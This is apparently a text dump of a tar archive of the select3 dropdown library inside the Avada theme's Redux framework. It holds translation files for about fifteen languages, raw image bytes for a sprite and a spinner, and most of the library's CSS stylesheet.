(input, max) { var n = input.length - max; if (n == 1){ return "الرجاء إدخال حرف واحد على الأقل"; } return n == 2 ? "الرجاء إدخال حرفين على الأقل" : "الرجاء إدخال " + n + " على الأقل "; }, formatSelectionTooBig: function (limit) { if (limit == 1){ return "يمكنك أن تختار إختيار واحد فقط"; } return limit == 2 ? "يمكنك أن تختار إختيارين فقط" : "يمكنك أن تختار " + limit + " إختيارات فقط"; }, formatLoadMore: function (pageNumber) { return "تحميل المزيد من النتائج…"; }, formatSearching: function () { return "البحث…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['ar']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_pl.js000064400000003737152342437700030771 0ustar00Avada/** * Select3 Polish translation. * * @author Jan Kondratowicz * @author Uriy Efremochkin * @author Michał Połtyn * @author Damian Zajkowski */ (function($) { "use strict"; $.fn.select3.locales['pl'] = { formatNoMatches: function() { return "Brak wyników"; }, formatInputTooShort: function(input, min) { return "Wpisz co najmniej" + character(min - input.length, "znak", "i"); }, formatInputTooLong: function(input, max) { return "Wpisana fraza jest za długa o" + character(input.length - max, "znak", "i"); }, formatSelectionTooBig: function(limit) { return "Możesz zaznaczyć najwyżej" + character(limit, "element", "y"); }, formatLoadMore: function(pageNumber) { return "Ładowanie wyników…"; }, formatSearching: function() { return "Szukanie…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['pl']); function character(n, word, pluralSuffix) { //Liczba pojedyncza - brak suffiksu //jeden znak //jeden element var suffix = ''; if (n > 1 && n < 5) { //Liczaba mnoga ilość od 2 do 4 - własny suffiks //Dwa znaki, trzy znaki, cztery znaki. //Dwa elementy, trzy elementy, cztery elementy suffix = pluralSuffix; } else if (n == 0 || n >= 5) { //Ilość 0 suffiks ów //Liczaba mnoga w ilości 5 i więcej - suffiks ów (nie poprawny dla wszystkich wyrazów, np. 100 wiadomości) //Zero znaków, Pięć znaków, sześć znaków, siedem znaków, osiem znaków. //Zero elementów Pięć elementów, sześć elementów, siedem elementów, osiem elementów. suffix = 'ów'; } return " " + n + " " + word + suffix; } })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_tr.js000064400000001477152342437700031002 0ustar00Avada/** * Select3 Turkish translation. * * Author: Salim KAYABAŞI */ (function ($) { "use strict"; $.fn.select3.locales['tr'] = { formatNoMatches: function () { return "Sonuç bulunamadı"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "En az " + n + " karakter daha girmelisiniz"; }, formatInputTooLong: function (input, max) { var n = input.length - max; return n + " karakter azaltmalısınız"; }, formatSelectionTooBig: function (limit) { return "Sadece " + limit + " seçim yapabilirsiniz"; }, formatLoadMore: function (pageNumber) { return "Daha fazla…"; }, formatSearching: function () { return "Aranıyor…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['tr']); })(jQuery); Avada/includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3x2.png000064400000001515152342437700027450 0ustar00PNG  IHDRxPқIDATx흱nA@#A C%\P'  Q!AutD+-n\$4Zf8nw+])r✃o`h5='KA8 %7A)\%!q&DO\ ,{H.)^ S7=Ȣ:du"րi}%E>t s"|גP? sBQ5c!y sg8"e-dn61~,YTp6zCub Gp  }y:J@p7kԣ JR {Y2w/,uO˓Sw5Z%}kphhqɱ96)\%!q>F8G+WwXx$V.E(<`Q¶{a~(|sjF<\%k'KAT+y ^pOI>. %{'cJkx!x'?lKSoZ_- J.tp7AL=[/AደUrwB!xJ~~og S\E` AC5P"qabl cP$#]`Ӓl]pZr`ӂӒl\p(I+%x`@11&(mWIENDB`includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_fr.js000064400000002065152342437700030756 0ustar00Avada/** * Select3 French translation */ (function ($) { "use strict"; $.fn.select3.locales['fr'] = { formatMatches: function (matches) { return matches + " résultats sont disponibles, utilisez les flèches haut et bas pour naviguer."; }, formatNoMatches: function () { return "Aucun résultat trouvé"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Saisissez " + n + " caractère" + (n == 1? "" : "s") + " supplémentaire" + (n == 1? "" : "s") ; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Supprimez " + n + " caractère" + (n == 1? "" : "s"); }, formatSelectionTooBig: function (limit) { return "Vous pouvez seulement sélectionner " + limit + " élément" + (limit == 1 ? "" : "s"); }, formatLoadMore: function (pageNumber) { return "Chargement de résultats supplémentaires…"; }, formatSearching: function () { return "Recherche en cours…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['fr']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_cs.js000064400000003704152342437700030755 0ustar00Avada/** * Select3 Czech translation. * * Author: Michal Marek * Author - sklonovani: David Vallner */ (function ($) { "use strict"; // use text for the numbers 2 through 4 var smallNumbers = { 2: function(masc) { return (masc ? "dva" : "dvě"); }, 3: function() { return "tři"; }, 4: function() { return "čtyři"; } } $.fn.select3.locales['cs'] = { formatNoMatches: function () { return "Nenalezeny žádné položky"; }, formatInputTooShort: function (input, min) { var n = min - input.length; if (n == 1) { return "Prosím zadejte ještě jeden znak"; } else if (n <= 4) { return "Prosím zadejte ještě další "+smallNumbers[n](true)+" znaky"; } else { return "Prosím zadejte ještě dalších "+n+" znaků"; } }, formatInputTooLong: function (input, max) { var n = input.length - max; if (n == 1) { return "Prosím zadejte o jeden znak méně"; } else if (n <= 4) { return "Prosím zadejte o "+smallNumbers[n](true)+" znaky méně"; } else { return "Prosím zadejte o "+n+" znaků méně"; } }, formatSelectionTooBig: function (limit) { if (limit == 1) { return "Můžete zvolit jen jednu položku"; } else if (limit <= 4) { return "Můžete zvolit maximálně "+smallNumbers[limit](false)+" položky"; } else { return "Můžete zvolit maximálně "+limit+" položek"; } }, formatLoadMore: function (pageNumber) { return "Načítají se další výsledky…"; }, formatSearching: function () { return "Vyhledávání…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['cs']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_et.js000064400000001566152342437700030764 0ustar00Avada/** * Select3 Estonian translation. * * Author: Kuldar Kalvik */ (function ($) { "use strict"; $.fn.select3.locales['et'] = { formatNoMatches: function () { return "Tulemused puuduvad"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Sisesta " + n + " täht" + (n == 1 ? "" : "e") + " rohkem"; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Sisesta " + n + " täht" + (n == 1? "" : "e") + " vähem"; }, formatSelectionTooBig: function (limit) { return "Saad vaid " + limit + " tulemus" + (limit == 1 ? "e" : "t") + " valida"; }, formatLoadMore: function (pageNumber) { return "Laen tulemusi.."; }, formatSearching: function () { return "Otsin.."; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['et']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_id.js000064400000001573152342437700030746 0ustar00Avada/** * Select3 Indonesian translation. * * Author: Ibrahim Yusuf */ (function ($) { "use strict"; $.fn.select3.locales['id'] = { formatNoMatches: function () { return "Tidak ada data yang sesuai"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Masukkan " + n + " huruf lagi" + (n == 1 ? "" : "s"); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Hapus " + n + " huruf" + (n == 1 ? "" : "s"); }, formatSelectionTooBig: function (limit) { return "Anda hanya dapat memilih " + limit + " pilihan" + (limit == 1 ? "" : "s"); }, formatLoadMore: function (pageNumber) { return "Mengambil data…"; }, formatSearching: function () { return "Mencari…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['id']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_ko.js000064400000001547152342437700030764 0ustar00Avada/** * Select3 Korean translation. * * @author Swen Mun */ (function ($) { "use strict"; $.fn.select3.locales['ko'] = { formatNoMatches: function () { return "결과 없음"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "너무 짧습니다. "+n+"글자 더 입력해주세요."; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "너무 깁니다. "+n+"글자 지워주세요."; }, formatSelectionTooBig: function (limit) { return "최대 "+limit+"개까지만 선택하실 수 있습니다."; }, formatLoadMore: function (pageNumber) { return "불러오는 중…"; }, formatSearching: function () { return "검색 중…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['ko']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_ja.js000064400000001454152342437700030742 0ustar00Avada/** * Select3 Japanese translation. */ (function ($) { "use strict"; $.fn.select3.locales['ja'] = { formatNoMatches: function () { return "該当なし"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "後" + n + "文字入れてください"; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "検索文字列が" + n + "文字長すぎます"; }, formatSelectionTooBig: function (limit) { return "最多で" + limit + "項目までしか選択できません"; }, formatLoadMore: function (pageNumber) { return "読込中・・・"; }, formatSearching: function () { return "検索中・・・"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['ja']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_vi.js000064400000001677152342437700030775 0ustar00Avada/** * Select3 Vietnamese translation. * * Author: Long Nguyen */ (function ($) { "use strict"; $.fn.select3.locales['vi'] = { formatNoMatches: function () { return "Không tìm thấy kết quả"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Vui lòng nhập nhiều hơn " + n + " ký tự" + (n == 1 ? "" : "s"); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Vui lòng nhập ít hơn " + n + " ký tự" + (n == 1? "" : "s"); }, formatSelectionTooBig: function (limit) { return "Chỉ có thể chọn được " + limit + " tùy chọn" + (limit == 1 ? "" : "s"); }, formatLoadMore: function (pageNumber) { return "Đang lấy thêm kết quả…"; }, formatSearching: function () { return "Đang tìm…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['vi']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_is.js000064400000001527152342437700030764 0ustar00Avada/** * Select3 Icelandic translation. */ (function ($) { "use strict"; $.fn.select3.locales['is'] = { formatNoMatches: function () { return "Ekkert fannst"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Vinsamlegast skrifið " + n + " staf" + (n > 1 ? "i" : "") + " í viðbót"; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Vinsamlegast styttið texta um " + n + " staf" + (n > 1 ? "i" : ""); }, formatSelectionTooBig: function (limit) { return "Þú getur aðeins valið " + limit + " atriði"; }, formatLoadMore: function (pageNumber) { return "Sæki fleiri niðurstöður…"; }, formatSearching: function () { return "Leita…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['is']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_th.js000064400000002047152342437700030762 0ustar00Avada/** * Select3 Thai translation. * * Author: Atsawin Chaowanakritsanakul */ (function ($) { "use strict"; $.fn.select3.locales['th'] = { formatNoMatches: function () { return "ไม่พบข้อมูล"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "โปรดพิมพ์เพิ่มอีก " + n + " ตัวอักษร"; }, formatInputTooLong: function (input, max) { var n = input.length - max; return "โปรดลบออก " + n + " ตัวอักษร"; }, formatSelectionTooBig: function (limit) { return "คุณสามารถเลือกได้ไม่เกิน " + limit + " รายการ"; }, formatLoadMore: function (pageNumber) { return "กำลังค้นข้อมูลเพิ่ม…"; }, formatSearching: function () { return "กำลังค้นข้อมูล…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['th']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3-spinner.gif000064400000003471152342437700030557 0ustar00AvadaGIF89aFFFzzzXXX$$$666hhh! NETSCAPE2.0!Created with ajaxload.info! ,w  !DBAH¬aD@ ^AXP@"UQ# B\; 1 o:2$v@ $|,3 _# d53" s5 e!! ,v i@e9DAA/`ph$Ca%@ pHxFuSx# .݄YfL_" p 3BW ]|L \6{|z87[7!! ,x  e9DE"2r,qPj`8@8bH, *0- mFW9LPE3+ (B"  f{*BW_/ @_$~Kr7Ar7!! ,v 4e9!H"* Q/@-4ép4R+-pȧ`P(6᠝U/  *,)(+/]"lO/*Ak K]A~666!! ,l ie9"* -80H=N; TEqe UoK2_WZ݌V1jgWe@tuH//w`?f~#6#!! ,~ ,e9"* ; pR%#0` 'c(J@@/1i4`VBV u}"caNi/ ] ))-Lel  mi} me[+!! ,y Ie9"M6*¨"7E͖@G((L&pqj@Z %@wZ) pl( ԭqu*R&c `))( s_J>_\'Gm7$+!! ,w Ie9*, (*(B5[1 ZIah!GexzJ0e6@V|U4Dm%$͛p \Gx }@+| =+ 1- Ea5l)+!! ,y )䨞'AKڍ,E\(l&;5 5D03a0--ÃpH4V % i p[R"| #  6iZwcw*!! ,y )䨞,K*0 a;׋аY8b`4n ¨Bbbx,( Ƚ  % >  2*i* /:+$v*!! ,u )䨞l[$ Jq[q 3`Q[5:IX!0rAD8 CvHPfiiQAP@pC %D PQ46  iciNj0w )#!! ,y ). q ,G Jr(J8 C*B,&< h W~-`, ,>; 8RN<, <1T] c' qk$ @)#!;lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_pt-PT.js000064400000001573152342437700031316 0ustar00Avada/includes/** * Select3 Portuguese (Portugal) translation */ (function ($) { "use strict"; $.fn.select3.locales['pt-PT'] = { formatNoMatches: function () { return "Nenhum resultado encontrado"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Introduza " + n + " car" + (n == 1 ? "ácter" : "acteres"); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Apague " + n + " car" + (n == 1 ? "ácter" : "acteres"); }, formatSelectionTooBig: function (limit) { return "Só é possível selecionar " + limit + " elemento" + (limit == 1 ? "" : "s"); }, formatLoadMore: function (pageNumber) { return "A carregar mais resultados…"; }, formatSearching: function () { return "A pesquisar…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['pt-PT']); })(jQuery); lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_pt-BR.js000064400000001711152342437700031270 0ustar00Avada/includes/** * Select3 Brazilian Portuguese translation */ (function ($) { "use strict"; $.fn.select3.locales['pt-BR'] = { formatNoMatches: function () { return "Nenhum resultado encontrado"; }, formatAjaxError: function () { return "Erro na busca"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "Digite " + (min == 1 ? "" : "mais") + " " + n + " caracter" + (n == 1? "" : "es"); }, formatInputTooLong: function (input, max) { var n = input.length - max; return "Apague " + n + " caracter" + (n == 1? "" : "es"); }, formatSelectionTooBig: function (limit) { return "Só é possível selecionar " + limit + " elemento" + (limit == 1 ? "" : "s"); }, formatLoadMore: function (pageNumber) { return "Carregando mais resultados…"; }, formatSearching: function () { return "Buscando…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['pt-BR']); })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_hr.js000064400000001752152342437700030762 0ustar00Avada/** * Select3 Croatian translation. * * @author Edi Modrić * @author Uriy Efremochkin */ (function ($) { "use strict"; $.fn.select3.locales['hr'] = { formatNoMatches: function () { return "Nema rezultata"; }, formatInputTooShort: function (input, min) { return "Unesite još" + character(min - input.length); }, formatInputTooLong: function (input, max) { return "Unesite" + character(input.length - max) + " manje"; }, formatSelectionTooBig: function (limit) { return "Maksimalan broj odabranih stavki je " + limit; }, formatLoadMore: function (pageNumber) { return "Učitavanje rezultata…"; }, formatSearching: function () { return "Pretraga…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['hr']); function character (n) { return " " + n + " znak" + (n%10 < 5 && n%10 > 0 && (n%100 < 5 || n%100 > 19) ? n%10 > 1 ? "a" : "" : "ova"); } })(jQuery); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_az.js000064400000001753152342437700030764 0ustar00Avada/** * Select3 Azerbaijani translation. * * Author: Farhad Safarov */ (function ($) { "use strict"; $.fn.select3.locales['az'] = { formatMatches: function (matches) { return matches + " nəticə mövcuddur, hərəkət etdirmək üçün yuxarı və aşağı düymələrindən istifadə edin."; }, formatNoMatches: function () { return "Nəticə tapılmadı"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return n + " simvol daxil edin"; }, formatInputTooLong: function (input, max) { var n = input.length - max; return n + " simvol silin"; }, formatSelectionTooBig: function (limit) { return "Sadəcə " + limit + " element seçə bilərsiniz"; }, formatLoadMore: function (pageNumber) { return "Daha çox nəticə yüklənir…"; }, formatSearching: function () { return "Axtarılır…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['az']); })(jQuery); Avada/includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3.css000064400000046001152342437700027201 0ustar00/* Version: 3.5.2 Timestamp: Sat Nov 1 14:43:36 EDT 2014 */ .select3-container { margin: 0; position: relative; display: inline-block; /* inline-block for ie7 */ zoom: 1; *display: inline; vertical-align: middle; } .select3-container, .select3-drop, .select3-search, .select3-search input { /* Force border-box so that % widths fit the parent container without overlap because of margin/padding. More Info : http://www.quirksmode.org/css/box.html */ -webkit-box-sizing: border-box; /* webkit */ -moz-box-sizing: border-box; /* firefox */ box-sizing: border-box; /* css3 */ } .select3-container .select3-choice { display: block; height: 26px; padding: 0 0 0 8px; overflow: hidden; position: relative; border: 1px solid #aaa; white-space: nowrap; line-height: 26px; color: #444; text-decoration: none; border-radius: 4px; background-clip: padding-box; -webkit-touch-callout: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: #fff; background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(0.5, #fff)); background-image: -webkit-linear-gradient(center bottom, #eee 0%, #fff 50%); background-image: -moz-linear-gradient(center bottom, #eee 0%, #fff 50%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr = '#ffffff', endColorstr = '#eeeeee', GradientType = 0); background-image: linear-gradient(to top, #eee 0%, #fff 50%); } html[dir="rtl"] .select3-container .select3-choice { padding: 0 8px 0 0; } .select3-container.select3-drop-above .select3-choice { border-bottom-color: #aaa; border-radius: 0 0 4px 4px; background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #eee), color-stop(0.9, #fff)); background-image: -webkit-linear-gradient(center bottom, #eee 0%, #fff 90%); background-image: -moz-linear-gradient(center bottom, #eee 0%, #fff 90%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee', GradientType=0); background-image: linear-gradient(to bottom, #eee 0%, #fff 90%); } .select3-container.select3-allowclear .select3-choice .select3-chosen { margin-right: 42px; } .select3-container .select3-choice > .select3-chosen { margin-right: 26px; display: block; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; float: none; width: auto; } html[dir="rtl"] .select3-container .select3-choice > .select3-chosen { margin-left: 26px; margin-right: 0; } .select3-container .select3-choice abbr { display: none; width: 12px; height: 12px; position: absolute; right: 24px; top: 8px; font-size: 1px; text-decoration: none; border: 0; background: url('select3.png') right top no-repeat; cursor: pointer; outline: 0; } .select3-container.select3-allowclear .select3-choice abbr { display: inline-block; } .select3-container .select3-choice abbr:hover { background-position: right -11px; cursor: pointer; } .select3-drop-mask { border: 0; margin: 0; padding: 0; position: fixed; left: 0; top: 0; min-height: 100%; min-width: 100%; height: auto; width: auto; opacity: 0; z-index: 9998; /* styles required for IE to work */ background-color: #fff; filter: alpha(opacity=0); } .select3-drop { width: 100%; margin-top: -1px; position: absolute; z-index: 9999; top: 100%; background: #fff; color: #000; border: 1px solid #aaa; border-top: 0; border-radius: 0 0 4px 4px; -webkit-box-shadow: 0 4px 5px rgba(0, 0, 0, .15); box-shadow: 0 4px 5px rgba(0, 0, 0, .15); } .select3-drop.select3-drop-above { margin-top: 1px; border-top: 1px solid #aaa; border-bottom: 0; border-radius: 4px 4px 0 0; -webkit-box-shadow: 0 -4px 5px rgba(0, 0, 0, .15); box-shadow: 0 -4px 5px rgba(0, 0, 0, .15); } .select3-drop-active { border: 1px solid #5897fb; border-top: none; } .select3-drop.select3-drop-above.select3-drop-active { border-top: 1px solid #5897fb; } .select3-drop-auto-width { border-top: 1px solid #aaa; width: auto; } .select3-drop-auto-width .select3-search { padding-top: 4px; } .select3-container .select3-choice .select3-arrow { display: inline-block; width: 18px; height: 100%; position: absolute; right: 0; top: 0; border-left: 1px solid #aaa; border-radius: 0 4px 4px 0; background-clip: padding-box; background: #ccc; background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #ccc), color-stop(0.6, #eee)); background-image: -webkit-linear-gradient(center bottom, #ccc 0%, #eee 60%); background-image: -moz-linear-gradient(center bottom, #ccc 0%, #eee 60%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr = '#eeeeee', endColorstr = '#cccccc', GradientType = 0); background-image: linear-gradient(to top, #ccc 0%, #eee 60%); } html[dir="rtl"] .select3-container .select3-choice .select3-arrow { left: 0; right: auto; border-left: none; border-right: 1px solid #aaa; border-radius: 4px 0 0 4px; } .select3-container .select3-choice .select3-arrow b { display: block; width: 100%; height: 100%; background: url('select3.png') no-repeat 0 1px; } html[dir="rtl"] .select3-container .select3-choice .select3-arrow b { background-position: 2px 1px; } .select3-search { display: inline-block; width: 100%; min-height: 26px; margin: 0; padding-left: 4px; padding-right: 4px; position: relative; z-index: 10000; white-space: nowrap; } .select3-search input { width: 100%; height: auto !important; min-height: 26px; padding: 4px 20px 4px 5px; margin: 0; outline: 0; font-family: sans-serif; font-size: 1em; border: 1px solid #aaa; border-radius: 0; -webkit-box-shadow: none; box-shadow: none; background: #fff url('select3.png') no-repeat 100% -22px; background: url('select3.png') no-repeat 100% -22px, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee)); background: url('select3.png') no-repeat 100% -22px, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%); background: url('select3.png') no-repeat 100% -22px, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%); background: url('select3.png') no-repeat 100% -22px, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0; } html[dir="rtl"] .select3-search input { padding: 4px 5px 4px 20px; background: #fff url('select3.png') no-repeat -37px -22px; background: url('select3.png') no-repeat -37px -22px, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee)); background: url('select3.png') no-repeat -37px -22px, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%); background: url('select3.png') no-repeat -37px -22px, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%); background: url('select3.png') no-repeat -37px -22px, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0; } .select3-drop.select3-drop-above .select3-search input { margin-top: 4px; } .select3-search input.select3-active { background: #fff url('select3-spinner.gif') no-repeat 100%; background: url('select3-spinner.gif') no-repeat 100%, -webkit-gradient(linear, left bottom, left top, color-stop(0.85, #fff), color-stop(0.99, #eee)); background: url('select3-spinner.gif') no-repeat 100%, -webkit-linear-gradient(center bottom, #fff 85%, #eee 99%); background: url('select3-spinner.gif') no-repeat 100%, -moz-linear-gradient(center bottom, #fff 85%, #eee 99%); background: url('select3-spinner.gif') no-repeat 100%, linear-gradient(to bottom, #fff 85%, #eee 99%) 0 0; } .select3-container-active .select3-choice, .select3-container-active .select3-choices { border: 1px solid #5897fb; outline: none; -webkit-box-shadow: 0 0 5px rgba(0, 0, 0, .3); box-shadow: 0 0 5px rgba(0, 0, 0, .3); } .select3-dropdown-open .select3-choice { border-bottom-color: transparent; -webkit-box-shadow: 0 1px 0 #fff inset; box-shadow: 0 1px 0 #fff inset; border-bottom-left-radius: 0; border-bottom-right-radius: 0; background-color: #eee; background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #fff), color-stop(0.5, #eee)); background-image: -webkit-linear-gradient(center bottom, #fff 0%, #eee 50%); background-image: -moz-linear-gradient(center bottom, #fff 0%, #eee 50%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0); background-image: linear-gradient(to top, #fff 0%, #eee 50%); } .select3-dropdown-open.select3-drop-above .select3-choice, .select3-dropdown-open.select3-drop-above .select3-choices { border: 1px solid #5897fb; border-top-color: transparent; background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0, #fff), color-stop(0.5, #eee)); background-image: -webkit-linear-gradient(center top, #fff 0%, #eee 50%); background-image: -moz-linear-gradient(center top, #fff 0%, #eee 50%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#ffffff', GradientType=0); background-image: linear-gradient(to bottom, #fff 0%, #eee 50%); } .select3-dropdown-open .select3-choice .select3-arrow { background: transparent; border-left: none; filter: none; } html[dir="rtl"] .select3-dropdown-open .select3-choice .select3-arrow { border-right: none; } .select3-dropdown-open .select3-choice .select3-arrow b { background-position: -18px 1px; } html[dir="rtl"] .select3-dropdown-open .select3-choice .select3-arrow b { background-position: -16px 1px; } .select3-hidden-accessible { border: 0; clip: rect(0 0 0 0); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; } /* results */ .select3-results { max-height: 200px; padding: 0 0 0 4px; margin: 4px 4px 4px 0; position: relative; overflow-x: hidden; overflow-y: auto; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } html[dir="rtl"] .select3-results { padding: 0 4px 0 0; margin: 4px 0 4px 4px; } .select3-results ul.select3-result-sub { margin: 0; padding-left: 0; } .select3-results li { list-style: none; display: list-item; background-image: none; } .select3-results li.select3-result-with-children > .select3-result-label { font-weight: bold; } .select3-results .select3-result-label { padding: 3px 7px 4px; margin: 0; cursor: pointer; min-height: 1em; -webkit-touch-callout: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .select3-results-dept-1 .select3-result-label { padding-left: 20px } .select3-results-dept-2 .select3-result-label { padding-left: 40px } .select3-results-dept-3 .select3-result-label { padding-left: 60px } .select3-results-dept-4 .select3-result-label { padding-left: 80px } .select3-results-dept-5 .select3-result-label { padding-left: 100px } .select3-results-dept-6 .select3-result-label { padding-left: 110px } .select3-results-dept-7 .select3-result-label { padding-left: 120px } .select3-results .select3-highlighted { background: #3875d7; color: #fff; } .select3-results li em { background: #feffde; font-style: normal; } .select3-results .select3-highlighted em { background: transparent; } .select3-results .select3-highlighted ul { background: #fff; color: #000; } .select3-results .select3-no-results, .select3-results .select3-searching, .select3-results .select3-ajax-error, .select3-results .select3-selection-limit { background: #f4f4f4; display: list-item; padding-left: 5px; } /* disabled look for disabled choices in the results dropdown */ .select3-results .select3-disabled.select3-highlighted { color: #666; background: #f4f4f4; display: list-item; cursor: default; } .select3-results .select3-disabled { background: #f4f4f4; display: list-item; cursor: default; } .select3-results .select3-selected { display: none; } .select3-more-results.select3-active { background: #f4f4f4 url('select3-spinner.gif') no-repeat 100%; } .select3-results .select3-ajax-error { background: rgba(255, 50, 50, .2); } .select3-more-results { background: #f4f4f4; display: list-item; } /* disabled styles */ .select3-container.select3-container-disabled .select3-choice { background-color: #f4f4f4; background-image: none; border: 1px solid #ddd; cursor: default; } .select3-container.select3-container-disabled .select3-choice .select3-arrow { background-color: #f4f4f4; background-image: none; border-left: 0; } .select3-container.select3-container-disabled .select3-choice abbr { display: none; } /* multiselect */ .select3-container-multi .select3-choices { height: auto !important; height: 1%; margin: 0; padding: 0 5px 0 0; position: relative; border: 1px solid #aaa; cursor: text; overflow: hidden; background-color: #fff; background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(1%, #eee), color-stop(15%, #fff)); background-image: -webkit-linear-gradient(top, #eee 1%, #fff 15%); background-image: -moz-linear-gradient(top, #eee 1%, #fff 15%); background-image: linear-gradient(to bottom, #eee 1%, #fff 15%); } html[dir="rtl"] .select3-container-multi .select3-choices { padding: 0 0 0 5px; } .select3-locked { padding: 3px 5px 3px 5px !important; } .select3-container-multi .select3-choices { min-height: 26px; } .select3-container-multi.select3-container-active .select3-choices { border: 1px solid #5897fb; outline: none; -webkit-box-shadow: 0 0 5px rgba(0, 0, 0, .3); box-shadow: 0 0 5px rgba(0, 0, 0, .3); } .select3-container-multi .select3-choices li { float: left; list-style: none; } html[dir="rtl"] .select3-container-multi .select3-choices li { float: right; } .select3-container-multi .select3-choices .select3-search-field { margin: 0; padding: 0; white-space: nowrap; } .select3-container-multi .select3-choices .select3-search-field input { padding: 5px; margin: 1px 0; font-family: sans-serif; font-size: 100%; color: #666; outline: 0; border: 0; -webkit-box-shadow: none; box-shadow: none; background: transparent !important; } .select3-container-multi .select3-choices .select3-search-field input.select3-active { background: #fff url('select3-spinner.gif') no-repeat 100% !important; } .select3-default { color: #999 !important; } .select3-container-multi .select3-choices .select3-search-choice { padding: 3px 5px 3px 18px; margin: 3px 0 3px 5px; position: relative; line-height: 13px; color: #333; cursor: default; border: 1px solid #aaaaaa; border-radius: 3px; -webkit-box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05); box-shadow: 0 0 2px #fff inset, 0 1px 0 rgba(0, 0, 0, 0.05); background-clip: padding-box; -webkit-touch-callout: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: #e4e4e4; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#f4f4f4', GradientType=0); background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, color-stop(20%, #f4f4f4), color-stop(50%, #f0f0f0), color-stop(52%, 